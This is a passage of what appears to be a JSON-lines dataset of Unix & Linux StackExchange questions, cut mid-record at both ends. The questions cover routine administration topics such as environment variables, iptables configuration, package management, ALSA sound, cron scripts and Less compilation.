_one_ compressed SQL file."} {"_id": "134738", "title": "Enabling a Display Manager in Ubuntu 13.10", "text": "I was wondering if anyone knew how to enable/set-up a display manager which prompts for username and password when the screen boots. Whenever I start Ubuntu, it goes to the desktop and then a small window pops up a few minutes later prompting me for my password. I would much prefer a separate screen for logging in, as the home screen can be accessed and interacted with before entering a password, leaving a big security hole on my computer. I run a dual-boot laptop with windows 7 and ubuntu 13.10; not sure if this is relevant, but figured I'd include it anyways."} {"_id": "93139", "title": "Can I zip an entire folder using gzip?", "text": "I'm trying to zip a folder in unix. Can that be done using the gzip command?"} {"_id": "30189", "title": "How can I make variables \"exported\" in a bash script stick around?", "text": "I have multiple Amazon EC2 accounts and want to quickly be able to switch variables, such as `$EC2_HOME`, using a script. I have have a shell script set up like this: #!/bin/sh export EC2_HOME=/home/me/.ec2 echo $EC2_HOME When I run the script I know that `EC2_HOME` is set, but I thought that using `export` would make the variable stick around after the script completed. It does not, as running `echo $EC_HOME` does not show anything. I know this must be very rudimentary Linux scripting knowledge, but I don't know it. I tried looking for related questions without luck - so my apologies if this is a duplicate."} {"_id": "139447", "title": "how to set environment variables from a shell script?", "text": "I'm trying to set environment variable through a shell script. Here is the script with various techniques: #!/bin/sh echo \"export SOMEPATH=/root/some\" >> /root/.bash_profile echo \"export PATH=$PATH:$SOMEPATH/bin\" >> /root/.bash_profile SOMEPATH=/root/some export SOMEPATH source /root/.bash_profile I run the script `a.sh` with `sh a.sh` Then if I check the `env` variable it doesn't show up. `echo $SOMEPATH` returns nothing. I expected to get `SOMEPATH` returned"} {"_id": "104279", "title": "Vim Window in Tmux", "text": "In Tmux, how do I assign a particular program to a particular window, so that all calls to that program from a shell in another window in Tmux will go to that program? One example would be a window that just keeps Vim open. So in this example, whenever I type `vim myfile.txt` in my shell window in Tmux, I will see `myfile.txt` in the vim window of Tmux."} {"_id": "104276", "title": "iptables: The \"script\" way or the \"*filter, rules, COMMIT\" way?", "text": "I'm trying to figure out how NAT and iptables work. While I'm in the trial- and-error phase of learning about it, I found two somewhat conflicting howtos. One howto uses a script to call `iptables` rules one after another. The script seems to be named and stored such that it is executed early during system boot, and I think a problem may be that other scripts may be called after it and undo its intentions. I even think I did this once by accident when I saved and renamed the original script (00-firewall) using a backup (00-firewall- old). The example script form the howto is: #!/bin/sh PATH=/usr/sbin:/sbin:/bin:/usr/bin # # delete all existing rules. # iptables -F iptables -t nat -F iptables -t mangle -F iptables -X # Always accept loopback traffic iptables -A INPUT -i lo -j ACCEPT # Allow established connections, and those not coming from the outside iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -m state --state NEW -i ! eth1 -j ACCEPT iptables -A FORWARD -i eth1 -o eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT # Allow outgoing connections from the LAN side. iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT # Masquerade. iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE # Don't forward from the outside to the inside. iptables -A FORWARD -i eth1 -o eth1 -j REJECT # Enable routing. echo 1 > /proc/sys/net/ipv4/ip_forward Another howto does not use a script but a file where some filter rules are defined. It looks like this: *filter # Allows all loopback (lo0) traffic and drop all traffic to 127/8 that doesn't use lo0 -A INPUT -i lo -j ACCEPT -A INPUT ! -i lo -d 127.0.0.0/8 -j REJECT # Accepts all established inbound connections -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # Allows all outbound traffic # You could modify this to only allow certain traffic -A OUTPUT -j ACCEPT # Allows HTTP and HTTPS connections from anywhere (the normal ports for websites) -A INPUT -p tcp --dport 80 -j ACCEPT -A INPUT -p tcp --dport 443 -j ACCEPT # Allows SSH connections # THE -dport NUMBER IS THE SAME ONE YOU SET UP IN THE SSHD_CONFIG FILE -A INPUT -p tcp -m state --state NEW --dport 30000 -j ACCEPT # Now you should read up on iptables rules and consider whether ssh access # for everyone is really desired. Most likely you will only allow access from certain IPs. # Allow ping -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT # log iptables denied calls (access via 'dmesg' command) -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables denied: \" --log-level 7 # Reject all other inbound - default deny unless explicitly allowed policy: -A INPUT -j REJECT -A FORWARD -j REJECT COMMIT What are the pros and cons of both ways of setting up iptables? Background info is much appreciated because I'm quite new to the whole thing. For example, I don't get who is reading the file from the latter howto, and how it is processed. My feeling tells me the second howto suggests a better solution, but why exactly?"} {"_id": "104277", "title": "How to detect network connection failure?", "text": "I have a direct Ethernet connection between a Windows box and a Linux box. If I disable the connection on the Windows side Linux still seems to believe the link is up. Is this normal behaviour? I would like Linux to run `if down` if the link fails and `ifup` when it returns. Is that possible?"} {"_id": "104274", "title": "Keep private key for remote reprepro package archive local", "text": "Currently I am using _reprepro_ and _inoticoming_ to maintain a Debian package archive on a remote machine. The repo is configured with this distributions file: Origin: ... Label: ... Codename: squeeze Architectures: i386 amd64 armhf source Components: main Description: ... Log: /home/apt/log/reprepro.log The daemon is running with: inoticoming \\ --logfile /home/apt/log/upload.log \\ /home/apt/incoming \\ --stdout-to-log \\ --stderr-to-log \\ --suffix .changes \\ reprepro -Vb /home/apt --waitforlock 1000 processincoming default {} \\; I am building and signing my packages locally and then upload with _dupload_. However when I try to install a package from that archive I get: WARNING: The following packages cannot be authenticated! Is there a way to make the signatures work? I absolutely don't want to share my private GPG key with the remote machine. Are there other tools or a better suited workflow?"} {"_id": "93136", "title": "Ubuntu 13.04 Mouse settings don't affect my mouse?", "text": "I have a Razer Deathadder mouse. I haven't installed any drivers for it or anything yet. Do I need to? The mouse sensitivity settings don't have any effect on my mouse. The `xinput` settings do however. The whole reason I'm looking into this is I want to turn off mouse acceleration, which I've seen many answers for. Also the mouse sensitivity settings in StarCraft II (I'm using wine) don't work either. I have used: xinput set-prop 11 265 -1 #acceleration profile. Default is 0 xinput set-prop 11 266 1 #constant deceleration, I have tried settings between 1 and 2, higher is slower xinput set-prop 11 268 1 #velocity scaling, this doesn't seem to do anything noticable. Default is 10 xset m 0 0 #not sure what this is... in several combinations. I have used the `razercfg` tool before with Ubuntu 12.04. It slowed down my mouse when I was having the problem of it being super fast (I don't have that issue in 13.04). Other than that it didn't do a whole lot, other than let me configure LEDs."} {"_id": "93131", "title": "Pruning the package tree with apt-get and yum", "text": "I love the Macports and Arch package managers, because I can generate a listing of all of the packages that I have manually installed, and \"prune\" the package tree every once in a while to keep my distribution lean. I would like to know how I can do this using `apt-get` and `yum`. For example, with Macports, I can type `port echo requested` and get a nice listing of all of the packages that I have explicitly installed. If I see a package I installed a few weeks ago that I no longer need, I can immediately uninstall it. To get rid of unused dependencies, I can repeatedly execute `port uninstall leaves`. Analogous commands are available using `pacman`. It is not clear to me how I can achieve similar functionality using `apt-get` and `yum` after reading the relevant man pages and doing a fair amount of Googling. One of the most important functions of a good package manager should be to let the administrator easily manage the list of explicitly installed packages. Certainly I am missing something. Thanks for your help!"} {"_id": "104270", "title": "How do I enable sound in this fresh Arch install?", "text": "I'm following the Arch Beginner's Guide. I have Arch running. Now I'm working on the post-installation instructions, one of the first parts of which is to unmute the speakers. This is where my problem is. First, I installed alsamixer pacman -S alsa-utils Then this amixer sset Master unmute I get this error: amixer: Unable to find simple control 'Master',0 I don't know how to proceed. **EDIT** : # cat/proc/asound/cards 0 [MID]: Hda-Intel - HDA Intel MID HDA Intel MID at 0xf7e14000 irq 63 1 [PCH]: Hda-Intel - HDA Intel PCH HDA Intel PCH at 0xf7e10000 irq 59 # amixer -c1 sset Master unmute Simple mixer control 'Master',0 Capabilities: pvolume pvolume-joined pswitch pswitch-joined Playback channels: Mono Limits: Playback 0 - 87 Mono: Playback 60 [69%] [-20.25dB] [on] # speaker-test -c 2 speaker-test 1.9.27.2 Playback device is default Stream parameters are 48000Hz, S16_LE, 2 channels Using 16 octaves of pink noise ALSA lib pcm_dmix.c:1022:(snd_pcm_dmix_open) unable to open slave Playback open error: -2, No such file or directory"} {"_id": "93132", "title": "gvim on RHEL (Red Hat Enterprise Linux) install in home directory", "text": "How to install **gvim** on a RHEL server that doesn't have it (for use with SSH with X11 forwarding*)? No sudo access is available, so it has to be in the user's home directory. *Getting all the convenience of having the remote Vim in a window that's separate from the shell."} {"_id": "98109", "title": "Command to reread partitions from media", "text": "When I insert media (e.g. an SD card) the system (Ubuntu 12.04) reads the partition table and creates all the /dev/*[1234] links to each partition. If I repartition the media I have to physically remove and reinsert it to update these links. Is there a command to force this to happen without me having to remove and reinsert the disk?"} {"_id": "98108", "title": "Open man page and search for string in a single command", "text": "Instead of doing `man chmod` and then `/a+x` to jump to the first section in the chmod man page that mentions `a+x`, I would like to know if there is a way to open the man page to a specific search string, similar to how you can do `vi +string filename.txt` in vi(m)."} {"_id": "28682", "title": "`test` and `[` - different binaries, any difference?", "text": "I noticed while answering another question that `test` and `[` are different binaries, but the `[` manpage pulls up `test`'s. Besides the requirement for an ending `]`, is there any difference? If not, why are they separate binaries instead of being symlinked? (They are also `bash` builtins, and `bash` doesn't show a difference either.)"} {"_id": "75287", "title": "Removing Clock screenlet in Linux Mint", "text": "I admit the question is kind of stupid, but I honestly can't do anything about this weird issue. I've added a Clock screenlet (with a custom theme) on my desktop and the thing is that I can't remove it. What I can do is to add another clock, click on it and \"Quit all clocks\" which removes them from the screen, but I can't remove the first one individually. The problem is that usually you can click on it and it shows the menu. But in this case wherever I click it shows ordinary desktop options, so I can't select it in any way. How can I do it, maybe there is some way of interacting with them through command line?"} {"_id": "121408", "title": "why is ! character used in shell scripts", "text": "I recently encountered a situation where I tried to use `!` as a record separator for my string array in shell script. When I used it in my shell script, the script got expanded automatically. An example to reproduce the situation can be as below. check_variable=\"Hello\" echo \"$check_variable\" Output: Hello ###For multiple strings, I tried to concatenate with ! as a record separator. echo \"$check_variable !\" Output: echo \"$check \" > Results.txt Then after some research, I had figured out `!` is in fact a special character and should not be used as record separators. So, exactly why is `!` used? Is there any way I can turn off the `!` character and use it in my shell script?"} {"_id": "154467", "title": "What does !$ mean exactly?", "text": "`echo !$` outputs different strings depending on my previous command line call. For example: mrdumbdumb-redhat:~ mrdumbdumb$ ls mrdumbdumb-redhat:~ mrdumbdumb$ echo !$ echo ls ls mrdumbdumb-redhat:Documents mrdumbdumb$ cd - / mrdumbdumb-redhat:~ mrdumbdumb$ echo !$ echo - - `!$` seems to expand to the last argument of my last command or the command itself if the command lacked arguments. What exactly is `!$`?"} {"_id": "88642", "title": "What does !$ mean?", "text": "I'm following through a tutorial and it mentions to run this command: sudo chmod 700 !$ I'm not familiar with `!$`. What does it mean?"} {"_id": "3744", "title": "Using find to find symlinks that point to a certain pattern of files", "text": "I have several directories that all have various symlinks in them. I want find (or another program) to find based on where the symlinks point to. For example this is how it currently works: \u2514\u2500(11:05:%)\u2500\u2500 ll slink lrwxrwxrwx 1 dialout 9 2010-11-03 11:05 slink -> /opt/file \u2514\u2500(11:05:%)\u2500\u2500 find / -name 'file' This is what I'd like to be able to do \u2514\u2500(11:05:%)\u2500\u2500 find . -name 'file' /slink -> /opt/file"} {"_id": "3742", "title": "Forcing emacs to run with `-nw` when called from terminal", "text": "**note** : This question might have been asked before ( I think I saw it somewhere), but a quick search did not reveal anything. I would like to tell the difference when a command is run from a shell. Emacs can be initialized with the `-nw` flag to disable the **gui** window, and I want this to be the default behaviour. However if `emacs` is run from a non-shell environment, ( e.g. from the `Open With` in your **filemanager** , a **desktop configured hotkey** , or even from **bashrun** ), it should not be called with the `-nw` flag. **update** : This should be a global change, running `sudo emacs` in Terminal should'nt suddenly open a gui. Where do I make these changes?"} {"_id": "75282", "title": "Ambiguously named executables", "text": "It appears that in `tcsh` if I have ambiguously named executables in two separate folders in the `$PATH` it directs to the one in the most recently created folder. Am I correct? And is this always true?"} {"_id": "22394", "title": "Why hard links not allowed to directories in UNIX/Linux", "text": "I read in text books that UNIX/Linux doesn't allows hard links to directories but soft links do. Is it because, when we have cycles and if we create hardlinks, and after some time we delete the original file, it will point to some garbage values? If cycles were the sole reason behind not allowing hardlinks, then why softlinks are allowed to directories?"} {"_id": "132348", "title": "How do I know why NetworkManager failed to initiate the VPN connection?", "text": "I'm running Arch Linux, and recently updated the whole system. Now I every time I connects to VPN with `nmcli` command, if it fails, I couldn't figure out the reason: NetworkManager[15967]: VPN plugin state changed: starting (3) NetworkManager[15967]: VPN connection 'XXX' (Connect) reply received. NetworkManager[15967]: /sys/devices/virtual/net/ppp0: couldn't determine device driver; ignoring... NetworkManager[15967]: VPN plugin failed: 1 NetworkManager[15967]: VPN plugin failed: 1 NetworkManager[15967]: VPN plugin failed: 1 NetworkManager[15967]: VPN plugin state changed: stopped (6) NetworkManager[15967]: VPN plugin state change reason: 0 NetworkManager[15967]: error disconnecting VPN: Could not process the request because no VPN connection was active. Prior to the upgrade, I can see error messages from pppd, e.g \"You're already logged in bla bla\", now every helpful message is gone. Any ideas? Why is the connection failed?"} {"_id": "41394", "title": "Bash script doesn't work as cronjob", "text": "I'm trying to get this simple bash script to work within a cronjob. It's used to generate static nginx webserver statistic pages using GoAccess. I tried everything I know to resolve this issue, it just won't work as a cronjob. It's executed perfectly in console. It's even working as cronjob when I remove the call to goaccess (e.g. put an echo there to see if the call is built correctly). Any help on this? The script runs for every file but the resulting files only contain the \"how to use\" instructions from goaccess which appear when you call it without arguments. System is a vServer running Debian 6.0. I use GoAccess 0.5 and nginx 1.2.1 Here's the script: #!/bin/bash PATH=/bin:/sbin:/usr/bin:/usr/sbin:/home/ _logdir=\"/srv/www/logs\" _logfiles=\"${_logdir}/access_*.log\" for logfile in $_logfiles; do _curfilename=\"${logfile##*/}\" # All these commands work flawless #echo \"$logfile\" >> /home/debug.log #echo \"$_curfilename\" >> /home/debug.log #echo \"goaccess -a -f $logfile > /srv/www/stats/${_curfilename}.html\" >> /home/debug.log; # This one fails goaccess -a -f \"${logfile}\" > \"/srv/www/stats/${_curfilename}.html\"; done Here's the crontab line for once an hour (i used * * * * * for debugging): 0 * * * * /bin/bash /home/run_webstats_update.sh Error output in cron.log: /USR/SBIN/CRON[26099]: (root) CMD (/bin/bash /home/update_webstats.sh) /USR/SBIN/CRON[26098]: (CRON) error (grandchild #26099 failed with exit status 1)"} {"_id": "130991", "title": "TAR not excluding directories with date pattern", "text": "I've written this small script: #!/bin/bash TODAY=`date --rfc-3339=date` CHECKDATE=`date --date \"2 days ago\" --rfc-3339=date` FILENAME=$TODAY-package.tar tar cvf $FILENAME --no-recursion --after-date $CHECKDATE * tar uvf $FILENAME --after-date $CHECKDATE require plugin img This should (at least in my intentions) create a .tar file with both files _and_ directories modified _after_ given date (which is 2 days before the script execution date) for what concerns root directory, and act recursively in case of _require_ , _plugin_ and _img_ directories. Problem is, it looks like to be correctly excluding older files, while it's adding _every single directory_ to the .tar, even the oldest ones. I've tried adding */* after the *, without success. Any hints?"} {"_id": "57660", "title": "Any utility to find source of system load / load average for a certain period?", "text": "By running top, htop, uptime, etc. we can see the load average as three values indicating the average load for the last 1/5/15 minutes (well not really, but that isn't the question here). Sometimes I'll notice that I have a fairly high load average for the last 15 minutes, but the current load is very low. Is there a utility/program that can list the processes (even if they no longer exist) that consumed the most CPU- time for the last 1/5/15 minutes (or some other similar period)? I am aware that load average can also be caused by processes waiting for I/O, but I am mostly interested in seeing the most CPU-hungry applications (though being able to see historic I/O would also be nice). As far as I know running htop and sorting by time cannot help me here, since if the computer has been on for a while the top values will not necessarily have anything to do with the recent past."} {"_id": "57663", "title": "How to set tz and date without restart in Debian Squeeze?", "text": "I've tried `tzselect` and all it appears to do is tell me what region I want to pick. I'm trying to change tz without a restart and for all users, then sync the time accordingly."} {"_id": "57667", "title": "Why can't I kill a timeout called from a Bash script with a keystroke?", "text": "[Edit: This looks similar to some other questions asking how to kill all spawned processes \u2013 the answers all seem to be to use pkill. So the core of my question may be: Is there a way to propagate Ctrl-C/Z to all processes spawned by a script?] When calling a SoX `rec` with the `timeout` command from coreutils (discussed here), there doesn't seem to be any way to kill it with a keystroke once it's been invoked from within a Bash script. Examples: timeout 10 rec test.wav ...can be killed with `Ctrl`+`C` or `Ctrl`+`Z` from bash, but not when it's been called from inside a script. timeout 10 ping nowhere ...can be killed with `Ctrl`+`C` or `Ctrl`+`Z` from bash, and with `Ctrl`+`Z` when it's run from inside a script. I can find the process ID and kill it that way, but why can't I use a standard break keystroke? And is there any way to structure my script so that I can?"} {"_id": "151541", "title": "How much space would be freed by removing a btrfs subvolume?", "text": "Is there any way to calculate how much space I would free if I would remove one (or several) subvolumes on a Btrfs disk (without actually removing them)? I know that there is \"currently no code that will do the calculation for you\", but how would you do it? I also wonder why they are saying that it would be so slow? Both actually removing a subvolume and asking about free space is very fast in my experience, why would doing the same thing hypothetically be so much slower?"} {"_id": "52103", "title": "How to compress with bzip2 and gzip using xar?", "text": "In the \"Why Xar\" page of the Xar Google Code page it says: > Additionally, this means xar can use different compression methods for each > file in the archive. For instance, it might not be a good idea to try to try > to compress an already compressed file, but a large file might benefit > greatly from using bzip2, whereas a small text file would be better served > to use gzip. I read the man page and it does not indicates how to do this. So, does anyone know how?"} {"_id": "105638", "title": "Installing PostgreSQL 9.0 on RHEL 6.4 (How to get Yum to Include a version of OpenSSL I built from source)", "text": "I receive the following errors from **yum install postgresql90-server** : Error: Package: postgresql90-9.0.15-1PGDG.rhel6.x86_64 (pgdg90) Requires: libssl.so.10(libssl.so.10)(64bit) Error: Package: postgresql90-server-9.0.15-1PGDG.rhel6.x86_64 (pgdg90) Requires: libssl.so.10(libssl.so.10)(64bit) Error: Package: postgresql90-libs-9.0.15-1PGDG.rhel6.x86_64 (pgdg90) Requires: libcrypto.so.10(libcrypto.so.10)(64bit) Error: Package: postgresql90-server-9.0.15-1PGDG.rhel6.x86_64 (pgdg90) Requires: libcrypto.so.10(libcrypto.so.10)(64bit) Error: Package: postgresql90-libs-9.0.15-1PGDG.rhel6.x86_64 (pgdg90) Requires: libssl.so.10(libssl.so.10)(64bit) The first result on google indicated that postgresql 9+ requires `openssl 1.0.1`. A `yum info openssl` revelaed that I had openssl 1.0.0. A `yum update openssl` told me that I had the latest upgrade. So I figured I would build 1.0.1: wget http://www.openssl.org/source/openssl-1.0.1e.tar.gz tar -xvf openssl-1.0.1e.tar.gz cd openssl-1.0.1e ./config make make test make install But now I am at a loss on how I would get yum to realize that I have the right openssl. The `yum install postgresql90-server` results in the same error message above. I figure if I could sync up yum with my new version of openssl, I would be good. But I am a Linux noob."} {"_id": "52101", "title": "Resume last print job from command line", "text": "To resume a job from command line I can call `lpq` which gives me the job number for example 211 and then `lp -i 211 -H resume`. However is there a way * to resume the _last_ job without figuring out its job id first * to resume just all holded jobs with one command"} {"_id": "52100", "title": "Text processing - join lines with commas", "text": "I have more than 1000 lines in a file. The file starts as follows (line numbers added): 1. Station Name 2. Station Code 3. A N DEV NAGAR 4. ACND 5. ABHAIPUR 6. AHA 7. ABOHAR 8. ABS 9. ABU ROAD 10. ABR I need to convert this to a file, with comma separated entries by joining every two lines. The final data should look like Station Name,Station Code A N DEV NAGAR,ACND ABHAIPUR,AHA ABOHAR,ABS ABU ROAD,ABR ... What I was trying was - trying to write a shell script and then `echo` them with comma in between. But I guess a simpler effective one-liner would do the job here may be in `sed`/`awk`. Any ideas?"} {"_id": "81240", "title": "Manually generate password for /etc/shadow", "text": "I need to manually edit /etc/shadow to change the root password inside of a virtual machine image. Is there a command-line tool that takes a password and generates an /etc/shadow compatiable password hash on standard out?"} {"_id": "70788", "title": "How to call a KSH script from another KSH script", "text": "I want to call a KSH script a KSH script. Script 1 performs the following: 1. Loops thru a list of database server 2. Perfroms a query 3. Appends output from query from each database server to a txtfile Script 2 performs the following: 1. Creates an HTML file that displays the each row in the text file in an HTML File 2. Emails the HTML file with the query results to a list of receipeints Usage: KSH backup_report.ksh qry_rslt_textfile.txt (txtfile contains results of query from each server) Is the following syntax correct? #! /bin/ksh < Start of Script 1 Code> . . . < End of Script 1 Code> < Start of Script 2 Code - Call Script 2> /sybase/dba/backup_report.ksh qry_rslt_textfile.txt "} {"_id": "102943", "title": "Keyboard layout panel applet in MATE 1.6", "text": "I'm on a system with MATE 1.6.1. I didn't find the `Keyboard Indicator Applet` in `Add to Panel` list. How can I add this applet to a panel?"} {"_id": "102940", "title": "How do you find what keys the \"erase\" and \"line-kill\" characters are in Ubuntu?", "text": "I'm new to Unix and have bought today a copy of \"The Unix Programming Environment\". I'm trying out the stuff from the book. But some of them are not working as expected like : To kill a line and re-type it again, **@** character should be used : **book** $ ddtae@ date Thu Nov 28 18:12:47 IST 2013 **my terminal** $ ddtae@ ddtae@: command not found Another example is to use **#** to erase last character **book** $ dd#att#e#e which comes out as date and print it. **my terminal** $ dd#att#e#e dd#att#e#e: command not found _in my system # is used for commment_ Although they have mentioned that these characters are system dependent. How can i find the characters for my system to perform above two tasks."} {"_id": "102945", "title": "How can I allow a user to prioritize a process to negative niceness?", "text": "I want a user to run a specific process on the system with a negative nice value. I can't simply fork the process to background as this specific program is a minecraft server and I rely on the command line to control the server. My current bash script looks like this (the important part): sleep 10 && \\ sudo renice -n $NICENESS $(ps -u $(id -u) -o \"%p:%c\" | sed -n \"s/:java$//p\") & \\ java -Xmx8G -Xms2G -jar minecraft_server.jar nogui `sleep` simply delays execution of `renice`. `renice` itself uses `ps` to check for a java process using the users own ID. There might be other instances of java spawning under different users, but the minecraft server runs under its own user _minecraft_. I obviously don't want to enter a password every time I start the server. from _/etc/sudoers_ : minecraft ALL = NOPASSWD: /etc/renice Is there a more elegant way to do this? Simply using `nice` is not an option, `sudo nice bash` in combination with the _NOPASSWD:_ option would be a great security issue."} {"_id": "143996", "title": "Is there a quick way to download a directory in a repo?", "text": "I'm actually working from a _windows_ machine, attempting to retrieve **centOS 5.4** from their vault. I don't have unpacking software, so I don't want to use the iso's. I was wondering if there's an easy way to grab all of the contents of this directory inside a browser."} {"_id": "102948", "title": "Where in the linux kernel sources can I find a list of the different keyboard scancodes?", "text": "I was looking for a list of keyboard scancodes in the linux kernel sources, but I did not find anything. Does someone know where to find these? Especially the USB scancodes would be interesting."} {"_id": "102949", "title": "How to debug a device that changes from /dev/ttyUSB0 to /dev/ttyUSB1 at will?", "text": "I have a device plugged to a CentOS server that changes randomly from /dev/ttyUSB0 to /dev/ttyUSB1 and vice versa. The device I'm trying to connect is this one. How can I debug this?"} {"_id": "60011", "title": "Unable to compile simple Less file using node-less", "text": "I'm trying to compile a _very_ simple less file which simply includes Bootstrap: /* application.less: The most awesomely complicated file in the whole world. */ @import \"bootstrap/bootstrap.less\"; I'm on an Ubuntu 12.04 derivative and I've tried using the `lessc` compiler found in the `node-less` package: $ sudo apt-get install node-less ...done! $ ( cd /path/of/less/file/ && lessc application.less ) TypeError: Cannot call method 'charAt' of undefined at getLocation (/usr/lib/nodejs/less/parser.js:204:34) at new LessError (/usr/lib/nodejs/less/parser.js:213:19) at Object.toCSS (/usr/lib/nodejs/less/parser.js:379:31) at /usr/bin/lessc:103:28 at /usr/lib/nodejs/less/parser.js:428:40 at /usr/lib/nodejs/less/parser.js:94:48 at /usr/lib/nodejs/less/index.js:113:15 at /usr/lib/nodejs/less/parser.js:428:40 at /usr/lib/nodejs/less/parser.js:94:48 at /usr/lib/nodejs/less/index.js:113:15 Not easily deterred, I then tried using the Ruby version of lessc. $ sudo apt-get remove --purge node-less $ sudo gem install less ...done! [WARNING] Please install gem 'therubyracer' to use Less. /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require': no such file to load -- v8 (LoadError) from /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `require' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less/java_script/v8_context.rb:2 from /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require' from /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `require' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less/java_script.rb:9:in `default_context_wrapper' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less/java_script.rb:17:in `context_wrapper' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less/loader.rb:10:in `initialize' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less.rb:14:in `new' from /var/lib/gems/1.8/gems/less-2.2.2/lib/less.rb:14 from /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `gem_original_require' from /usr/lib/ruby/vendor_ruby/1.8/rubygems/custom_require.rb:36:in `require' from /var/lib/gems/1.8/gems/less-2.2.2/bin/lessc:3 from /usr/local/bin/lessc:19:in `load' from /usr/local/bin/lessc:19 Come on! Ruby doesn't know how to manage dependencies?! Whatever. Fine. $ sudo gem install therubyracer /usr/bin/ruby1.8 extconf.rb checking for main() in -lpthread... yes checking for v8.h... no *** extconf.rb failed *** Could not create Makefile due to some reason, probably lack of necessary libraries and/or headers. Check the mkmf.log file for more details. You may need configuration options. Provided configuration options: --with-opt-dir --without-opt-dir --with-opt-include --without-opt-include=${opt-dir}/include --with-opt-lib --without-opt-lib=${opt-dir}/lib --with-make-prog --without-make-prog --srcdir=. --curdir --ruby=/usr/bin/ruby1.8 --with-pthreadlib --without-pthreadlib --enable-debug --disable-debug --with-v8-dir --without-v8-dir --with-v8-include --without-v8-include=${v8-dir}/include --with-v8-lib --without-v8-lib=${v8-dir}/lib /var/lib/gems/1.8/gems/therubyracer-0.11.0/ext/v8/build.rb:42:in `build_with_system_libv8': unable to locate libv8. Please see output for details (RuntimeError) from extconf.rb:22 The Ruby Racer requires libv8 ~> 3.11.8 to be present on your system in order to compile and link, but it could not be found. In order to resolve this, you will either need to manually install an appropriate libv8 and make sure that this build process can find it. If you install it into the standard system path, then it should just be picked up automatically. Otherwise, you'll have to pass some extra flags to the build process as a hint. If you don't want to bother with all that, there is a rubygem that will do all this for you. You can add following line to your Gemfile: gem 'libv8', '~> 3.11.8' We hope that helps, and we apologize, but now we have to push the eject button on this install. thanks, The Mgmt. And I'm done. Is there any _easy_ way to get a _working_ less compiler installed on my distribution? This is getting ridiculous."} {"_id": "60012", "title": "Running Linux from pendrive on Windows natively", "text": "I am trying to find a program that allows me to run some linux distribution directly from pendrive, in windows, without the need to access the bios or to have administrator permissions. I need something like colinux or ubuntu portable. But I need a solution that is portable and don't need administrator permissions to execute the linux distribution. Someone knows a program like this?"} {"_id": "101071", "title": "What happens if I delete dmraid?", "text": "I am new to Linux and am trying to install Ubuntu 12.04.3 LTS from a live-USB and have it run alongside my Windows 7 installation. On the installation screen for Ubuntu, at the partition page, I get this error: No root file system is defined. Please correct this from the partitioning menu. However on this page, nothing is clickable and it doesn't show any partitions. I looked it up and I found a possible solution is to type in the Linux terminal: sudo apt-get remove dmraid I am wondering what the repercussions are of deleting dmraid and if it will do anything disastrous to my Windows boot. And if deleting dmraid isn't a smart idea, are there any other suggestions on what I should do? BTW I am on an Acer S5-391 and I think it has a RAID 0 SSD configuration."} {"_id": "146313", "title": "Process history in Unix/Linux systems", "text": "I know that `ps -efl` shows running processes on *nix systems. I would like to check history of the (past) processes that have been run on a particular machine, preferably with all the information `ps` provides (i.e. `%CPU`, `%MEM`). What command line utilities can I use, is this information stored somewhere similarly to `.bash_history` file?"} {"_id": "146311", "title": "how do I recursivley grep (or otherwise search for) hex strings", "text": "Long and short I'm trying to track down some files left by evil scum on a server. > fgrep -r \"STRING\" /path/here has been working well for finding general stuff. However, how do I search for hex patterns (you know... \\xNN type strings). Probably an easy question to answer but I've been spending too long starting at a bash screen !"} {"_id": "146315", "title": "In Ubuntu, what is the folder in which MySQL's UDF should be installed?", "text": "I am using Ubuntu 14.04. I wonder where should I install binary UDF for MySQL. Is there any way to discover the path of the UDF directory? Is there a standard for this in Ubuntu?"} {"_id": "21930", "title": "Last failed command in bash", "text": "The `$?` variable holds the exit status of last run command. Is there a variable that holds last run command itself?"} {"_id": "21932", "title": "Inderect references aka value of a value in awk", "text": "I'm searching for a way to solve this problem in `awk`. Input: X 1 Y 2 Z 3 X 4 Y 5 The output should look like this: X 5 Y 7 Z 3 I see two problems here: the first one is the indirect reference in `awk`. Is it even possible? It would work this way: if `$$1 (X) exists add $2 else declare $$1 (X) then add $2` Even if I would figure out how to do it I would still need to know the name of all the declared variables i.e. X,Y,Z. I'm guessing there is a simpler way to handle this task but I can't figure it out..."} {"_id": "21935", "title": "Do you know any campaign manager running on linux?", "text": "I'm searching for a RPG (roleplaying game) campaign manager running on Linux. The main features are mapping capabilities and intuative layout. Does any of you know one?"} {"_id": "21936", "title": "regarding shared memory behaviour", "text": "Noticing a strange performance behaviour while using shared memory that are file backed (i.e open user defined file and mmap() the same into process space). While doing a memcpy() into the shared memory section, sometimes a delay is observed in the order of milliseconds. To be specific, in normal scenarios 2048 bytes are copied in 0.4us but sometimes the same number of bytes takes about 10 - 20 milliseconds to copy. This happens randomly any time. The next 2048 frame of data goes back to the normal time. Kernel version is 2.6.27.23-0.1-preempt. Appreciate any clues from anyone, about what is happening and why the delay is seen. I have even tried by using shm_open() and then mmap(), with no difference The `mmap` calls look like this: int fd = ::open(\"somefile\", flags, 0666); if(fd != -1) { myBasePointer = ::mmap(0, sizeInBytes, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offsetInBytes); } One process creates the file and `mmap`s, the other processes opens the file and `mmap`s itinto their address space. The file is a normal file on an ordinary filesystem."} {"_id": "122285", "title": "apt-get without installing recommendations for a certain package", "text": "I can edit /etc/apt/apt.conf and add the line: apt::install-recommends \"false\"; But that will always skip recommendations. How can I do this only once for the installation to a certain package without changing the config of apt?"} {"_id": "57085", "title": "Setting console font in vconsole.conf does not work (systemd)", "text": "I am trying to set a different default console font for my new Arch Linux installation (using systemd). I set up my `vconsole.conf` in 